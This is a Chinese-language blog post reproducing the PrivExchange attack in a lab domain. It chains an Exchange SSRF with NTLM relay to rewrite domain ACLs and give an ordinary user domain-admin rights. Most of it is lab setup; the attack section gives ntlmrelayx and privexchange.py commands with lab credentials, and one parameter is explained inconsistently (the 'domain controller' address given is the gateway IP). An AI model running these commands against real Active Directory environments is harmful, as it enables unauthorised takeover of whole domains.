作者:xax007@知道創宇404 ScanV安全服務團隊
作者博客:https://xax007.github.io/
漏洞簡述
在群里看到一篇分享的利用 Exchange SSRF 漏洞獲取域控 的文章(中文翻譯),讓我眼前一亮,後來又在微博看到有大佬復現了這個漏洞,於是我也決定試試。
上文中的漏洞利用思路按照我的理解可以匯總成一句話就是:
在Exchange 在域內具有高權限的前提下條件下,利用 Exchange 的跨站請求偽造漏洞進行 NTLM 中繼攻擊,修改域 ACL 使普通用戶具有域管理員同等級別的權限
這篇文章的利用手法和其他網上很多方法不同的點在於,對 SSRF 漏洞進一步利用達到了拿到域控的目的,其他文章里都僅僅是利用SSRF 漏洞查看管理的郵件或者修改管理員郵箱規則,如郵件自動轉發等。
不想拿到域控的黑闊不是一個好黑闊,利用多個普通漏洞,最大化利用漏洞拿到域控的騷姿勢肯定要學一下的,於是有了這篇文章。
此文記錄了我對這個漏洞進行的所有工作和遇到的坑。
漏洞環境搭建
復現這個漏洞最費時間又麻煩的就是搭建環境,我在 MacOS上
使用 Vmware Fusion
搭建了此漏洞需要的域環境
VMware Fusion 會在系統安裝兩個虛擬網卡,分別為 vmnet1
和 vmnet8
vmnet8
為 NAT網卡,可以讓虛擬機上網 vmnet1
為 HostOnly 僅主機網卡,用來搭建私有網絡,我們需要對此網卡作出修改
如果在Windows系統搭建環境時,也應該設置所有虛擬主機為 HostOnly 模式,方法大同小異
配置 Vmware Fusion
修改 /Library/Preferences/VMware/ Fusion/networking
文件
關閉 vmnet1
的 dhcp,否則虛擬主機之間無法通信
VERSION=1,0
answer VNET_1_DHCP no #關閉dhcp
answer VNET_1_DHCP_CFG_HASH 9503E18413CDE50A84F0D124C42535C62DF8193B
answer VNET_1_HOSTONLY_NETMASK 255.255.255.0 # HostOnly 網絡子網掩碼
answer VNET_1_HOSTONLY_SUBNET 10.10.10.0 # HostOnly網絡地址
answer VNET_1_VIRTUAL_ADAPTER yes
搭建域環境
從這裡可以下載到能免費試用180天的正版 Windows Server 2012
系統
我安裝了一台 Windows Server 2012,裝好以後克隆了一台,給虛擬分配多少硬件資源取決於自身電腦配置,這裡我電腦的配置
同步域內系統時間
搭建小型域環境里大佬說同步時間很重要,我發現我兩個系統的時間都不一樣,所以在域控所在的服務器配置系統時間:
打開 powershell
並執行
w32tm /config /manualpeerlist:"cn.pool.ntp.org tw.pool.ntp.org" /syncfromflags:manual /reliable:yes /update
其中
/manualpeerlist
表示外部時間源服務器列表,多個服務器之間可用空格分隔,cn.pool.ntp.org
和 tw.pool.ntp.org
是 NTP
時間服務器
/syncfromflags:manual
表示與指定的外部時間源服務器列表中的服務器進行同步
/reliable:yes
表示設置此計算機是一個可靠的時間源
/update
表示向時間服務發出配置已更改的通知,使更改生效
net stop w32time 關閉w32time服務
net start w32time 啟動w32time服務
w32tm /resync 手動與外部時間源服務器進行同步
w32tm /query /status 同步時間服務器狀態
w32tm /query /source 查詢時間同步源
w32tm /query /peers 查詢時間同步服務器及相關信息
以上步驟參考了以下的文章
Windows server 2012 部署NTP,實現成員服務器及客戶端時間與域控制器時間同步
我按照教程在域控所在的服務器執行到第三步,另一台服務器的時間自己就同步了
最終搭好了可用的域環境:
域名稱:evilcorp.local
域控:
操作系統:Windows Server 2012 R2
IP: 10.10.10.2
子網掩碼: 255.255.255.0
網關: 10.10.10.1
DNS: 10.10.10.2
Exchange 服務器:
操作系統: Windows Server 2012 R2
IP: 10.10.10.3
子網掩碼: 255.255.255.0
網關: 10.10.10.1
DNS: 10.10.10.2
攻擊主機:
操作系統: Kali
IP: 10.10.10.5
按照以上三個教程的步驟走,看不明白繼續搜教程就可以搭好域環境
攻擊主機 Kali Linux
為了能訪問域網絡需要添加一個 HostOnly
網卡,我添加后的網卡名為 eth1
然後進行以下配置
╭─root@kali ~
╰─? ifconfig eth1 up
╭─root@kali ~
╰─? ifconfig eth1 10.10.10.5 netmask 255.255.255.0
╭─root@kali ~
╰─? route add default gw 10.10.10.1 eth1
╭─root@kali ~
╰─?
安裝 Exchange Server 2013
首先需要在 Exchange 所在的服務器上使用域控 Administrator 賬號登錄,不然安裝檢查是會出現一大堆錯誤
安裝 Exchange 前要裝依賴組件,可以參考上面 l3m0n 大佬的文章和 Windows Server 2012 安裝 Exchange 2013 這兩篇文章
安裝好 Exchange 以後訪問 Exchange 頁面,在我的環境里的地址是 https://10.10.10.3
,需要添加一個普通域用戶,然後用域控管理員賬號登錄 Exchange 為此用戶分配 Exchange 賬號,這一步網上有很多教程
後續要用此普通用戶來提權
所有的環境搭建好以後要進入激動人心的漏洞利用環節了!!!
漏洞利用
準備工具
漏洞利用需要下載兩個工具:
第二個 Impacket
是一個功能很強大的 Windows 網絡(SMB, MSRPC)工具包
Kali 自帶 Impacket,是版本過時了,需要安裝最新的
git clone
下載下來后,進入到 Impacket
目錄使用 pip
安裝
pip install .
注意這個工具是 python2 寫的,使用 python3會出錯
發起攻擊
首先在本機啟動 NTLM 中繼,進入到 Impacker
的 examples
目錄執行
python ntlmrelayx.py -t ldap://evilcorp.local --escalate-user mr.robot
其中
evilcorp.local
是域的名稱
--escalate-user
的參數是 Exchange 的普通權限用戶名,也就是之前添加的普通用戶用戶名
然後執行提權腳本
python privexchange.py -ah 10.10.10.1 10.10.10.3 -u mr.robot -p "Hacktheplanet/!" -d evilcorp.local
其中
-ah
參數指定域控地址可以是域的名稱或 IP 地址,在這裡為 10.10.10.1
10.10.10.3
為 Exchange 服務器在域的名稱或者IP地址 -u
指定需要提權的 Exchange 的普通權限用戶名 -p
指定 Exchange 的普通權限用戶的密碼 -d
指定域的名稱
如果攻擊成功你會看到 privexchange.py
腳本的輸出